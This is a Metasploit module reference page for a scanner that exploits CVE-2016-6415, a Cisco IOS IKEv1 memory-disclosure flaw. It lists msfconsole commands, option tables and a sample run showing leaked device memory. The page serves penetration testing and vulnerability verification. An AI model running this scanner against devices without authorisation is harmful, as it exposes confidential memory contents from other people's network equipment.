Cisco IKE Information Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ike/cisco_ike_benigncertain metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Cisco IKE Information Disclosure
Module: auxiliary/scanner/ike/cisco_ike_benigncertain
Source code: modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
Disclosure date: 2016-09-29
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 500
List of CVEs: CVE-2016-6415

A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information. The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ike/cisco_ike_benigncertain
msf auxiliary(cisco_ike_benigncertain) > show options
    ... show and set options ...
msf auxiliary(cisco_ike_benigncertain) > set RHOSTS ip-range
msf auxiliary(cisco_ike_benigncertain) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cisco_ike_benigncertain) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(cisco_ike_benigncertain) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cisco_ike_benigncertain) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

This module is for CVE-2016-6415, A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information.

The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information.

Verification Steps

  1. Do: use auxiliary/scanner/ike/cisco_ike_benigncertain
  2. Do: set RHOSTS [IP]
  3. Do: set RPORT [PORT]
  4. Do: run

Scenarios

msf auxiliary(cisco_ike_benigncertain) > show options

Module options (auxiliary/scanner/ike/cisco_ike_benigncertain):

   Name        Current Setting                                                                            Required  Description
   ----        ---------------                                                                            --------  -----------
   PACKETFILE  /opt/metasploit-framework/data/exploits/cve-2016-6415/sendpacket.raw                       yes       The ISAKMP packet file
   RHOSTS      192.168.1.2                                                                                yes       The target address range or CIDR identifier
   RPORT       500                                                                                        yes       The target port
   THREADS     1                                                                                          yes       The number of concurrent threads

msf auxiliary(cisco_ike_benigncertain) > set verbose True
msf auxiliary(cisco_ike_benigncertain) > run

[*] Printable info leaked:
>5..).........9.................................................................x...D.#..............+#.........\.....?.L...l...........h.............#.....................l...\...........l.....X.................a.#...R....X.....y#.........x...@V$.\.............X.<....X................W....._y>..#t... .....H...X.....W.......................................>.$...........>5..).............................!.....:3.K......X.............xV4.xV4.xV4.......................................X...........X.:3.KxV4.xV4.................$...m;......xV4.xV4.xV4.xV4.xV4.xV4.xV4.xV4...........!.....<<<<........................................................................................................................................................<<<<....................$...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................<<<<1.......................................<<<<....9....... .......d....................Q..........<<<<....9....... ...............(............Q..........<<<<........................CI................................................................................ab_cdefg_pool...................................................................................................................................................................................ozhu7vp...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
[+] 192.168.1.2:500 - IKE response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage

Here is how the scanner/ike/cisco_ike_benigncertain auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ike/cisco_ike_benigncertain

msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show info

       Name: Cisco IKE Information Disclosure
     Module: auxiliary/scanner/ike/cisco_ike_benigncertain
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-09-29

Provided by:
  Nixawk

Check supported:
  No

Basic options:
  Name        Current Setting                                                                          Required  Description
  ----        ---------------                                                                          --------  -----------
  PACKETFILE  /opt/metasploit-framework/embedded/framework/data/exploits/cve-2016-6415/sendpacket.raw  yes       The ISAKMP packet file
  RHOSTS                                                                                               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT       500                                                                                      yes       The target port
  THREADS     1                                                                                        yes       The number of concurrent threads (max one per host)

Description:
  A vulnerability in Internet Key Exchange version 1 (IKEv1) packet 
  processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR 
  Software could allow an unauthenticated, remote attacker to retrieve 
  memory contents, which could lead to the disclosure of confidential 
  information. The vulnerability is due to insufficient condition 
  checks in the part of the code that handles IKEv1 security 
  negotiation requests. An attacker could exploit this vulnerability 
  by sending a crafted IKEv1 packet to an affected device configured 
  to accept IKEv1 security negotiation requests. A successful exploit 
  could allow the attacker to retrieve memory contents, which could 
  lead to the disclosure of confidential information.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-6415
  https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110
  https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1
  https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415
  https://musalbas.com/2016/08/18/equation-group-benigncertain.html

Module Options

This is a complete list of options available in the scanner/ike/cisco_ike_benigncertain auxiliary module:

msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show options

Module options (auxiliary/scanner/ike/cisco_ike_benigncertain):

   Name        Current Setting                                                                          Required  Description
   ----        ---------------                                                                          --------  -----------
   PACKETFILE  /opt/metasploit-framework/embedded/framework/data/exploits/cve-2016-6415/sendpacket.raw  yes       The ISAKMP packet file
   RHOSTS                                                                                               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       500                                                                                      yes       The target port
   THREADS     1                                                                                        yes       The number of concurrent threads (max one per host)

Advanced Options

Here is a complete list of advanced options supported by the scanner/ike/cisco_ike_benigncertain auxiliary module:

msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show advanced

Module advanced options (auxiliary/scanner/ike/cisco_ike_benigncertain):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/ike/cisco_ike_benigncertain module can do:

msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/ike/cisco_ike_benigncertain auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - IKE response is same to payload data

Here is a relevant code snippet related to the "<PEER> - IKE response is same to payload data" error message:

85:	      # NETWORK may return the same packet data.
86:	      return if res.length < 2500
87:	      pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])
88:	      res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])
89:	
90:	      print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md5
91:	    rescue
92:	    ensure
93:	      udp_sock.close
94:	    end
95:	  end

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References

See Also

Check also the following modules related to this module:

Authors

  • Nixawk

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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